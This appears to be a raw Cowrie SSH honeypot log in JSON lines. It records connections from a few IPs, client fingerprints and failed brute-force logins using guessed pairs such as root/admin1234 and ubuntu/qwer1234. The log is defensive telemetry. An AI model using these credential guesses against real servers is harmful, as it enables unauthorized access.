h.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:19.907824Z","src_ip":"176.65.139.95","session":"9e91f97bcc36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esearch","password":"esearch","message":"login attempt [esearch/esearch] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:20.090798Z","src_ip":"192.109.200.78","session":"4a42cbd5ca29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"123456","message":"login attempt [elasticsearch/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:20.240557Z","src_ip":"176.65.139.95","session":"9e91f97bcc36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:21.181447Z","src_ip":"192.109.200.78","session":"4a42cbd5ca29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:21.334847Z","src_ip":"176.65.139.95","session":"9e91f97bcc36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34514,"dst_ip":"159.203.135.109","dst_port":22,"session":"38e6ec2584c6","protocol":"ssh","message":"New connection: 159.203.92.129:34514 (159.203.135.109:22) [session: 38e6ec2584c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:21.449158Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:21.454612Z","src_ip":"159.203.92.129","session":"38e6ec2584c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:21.459907Z","src_ip":"159.203.92.129","session":"38e6ec2584c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Members","password":"Members123","message":"login attempt [Members/Members123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:21.479563Z","src_ip":"159.203.92.129","session":"38e6ec2584c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:22.493957Z","src_ip":"159.203.92.129","session":"38e6ec2584c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":37960,"dst_ip":"159.203.135.109","dst_port":22,"session":"815e230233ed","protocol":"ssh","message":"New connection: 192.109.200.78:37960 (159.203.135.109:22) [session: 815e230233ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:24.023974Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:24.028728Z","src_ip":"192.109.200.78","session":"815e230233ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:24.115148Z","src_ip":"192.109.200.78","session":"815e230233ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin1234","message":"login attempt [root/admin1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:24.361431Z","src_ip":"192.109.200.78","session":"815e230233ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:25.447686Z","src_ip":"192.109.200.78","session":"815e230233ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":43654,"dst_ip":"159.203.135.109","dst_port":22,"session":"bd74c56a76e6","protocol":"ssh","message":"New connection: 176.65.139.95:43654 (159.203.135.109:22) [session: bd74c56a76e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:26.464025Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:26.474335Z","src_ip":"176.65.139.95","session":"bd74c56a76e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:26.623634Z","src_ip":"176.65.139.95","session":"bd74c56a76e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwer1234","message":"login attempt [ubuntu/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:27.116411Z","src_ip":"176.65.139.95","session":"bd74c56a76e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":35846,"dst_ip":"159.203.135.109","dst_port":22,"session":"b665fa36cdb0","protocol":"ssh","message":"New connection: 192.109.200.78:35846 (159.203.135.109:22) [session: b665fa36cdb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:28.019916Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:28.028623Z","src_ip":"192.109.200.78","session":"b665fa36cdb0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:28.131789Z","src_ip":"192.109.200.78","session":"b665fa36cdb0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:28.202323Z","src_ip":"176.65.139.95","session":"bd74c56a76e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3","password":"ts3","message":"login attempt [ts3/ts3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:28.388342Z","src_ip":"192.109.200.78","session":"b665fa36cdb0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:29.475217Z","src_ip":"192.109.200.78","session":"b665fa36cdb0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":35858,"dst_ip":"159.203.135.109","dst_port":22,"session":"8840e9054660","protocol":"ssh","message":"New connection: 192.109.200.78:35858 (159.203.135.109:22) [session: 8840e9054660]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:32.196084Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:32.201238Z","src_ip":"192.109.200.78","session":"8840e9054660","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:32.289151Z","src_ip":"192.109.200.78","session":"8840e9054660","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1","message":"login attempt [admin/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:32.539565Z","src_ip":"192.109.200.78","session":"8840e9054660","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":47968,"dst_ip":"159.203.135.109","dst_port":22,"session":"954f72787596","protocol":"ssh","message":"New connection: 176.65.139.95:47968 (159.203.135.109:22) [session: 954f72787596]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:33.260378Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:33.269606Z","src_ip":"176.65.139.95","session":"954f72787596","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:33.353570Z","src_ip":"176.65.139.95","session":"954f72787596","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:33.628005Z","src_ip":"192.109.200.78","session":"8840e9054660","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"joel","password":"joel","message":"login attempt [joel/joel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:33.633891Z","src_ip":"176.65.139.95","session":"954f72787596","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:34.719090Z","src_ip":"176.65.139.95","session":"954f72787596","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":35884,"dst_ip":"159.203.135.109","dst_port":22,"session":"b981445d58ea","protocol":"ssh","message":"New connection: 192.109.200.78:35884 (159.203.135.109:22) [session: b981445d58ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:36.107728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:36.113479Z","src_ip":"192.109.200.78","session":"b981445d58ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:36.196867Z","src_ip":"192.109.200.78","session":"b981445d58ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oscar","password":"oscar","message":"login attempt [oscar/oscar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:36.469096Z","src_ip":"192.109.200.78","session":"b981445d58ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:37.555550Z","src_ip":"192.109.200.78","session":"b981445d58ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":48004,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b4423efe42f","protocol":"ssh","message":"New connection: 176.65.139.95:48004 (159.203.135.109:22) [session: 1b4423efe42f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:39.944987Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:39.974983Z","src_ip":"176.65.139.95","session":"1b4423efe42f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:40.044671Z","src_ip":"176.65.139.95","session":"1b4423efe42f","protocol":"ssh"}
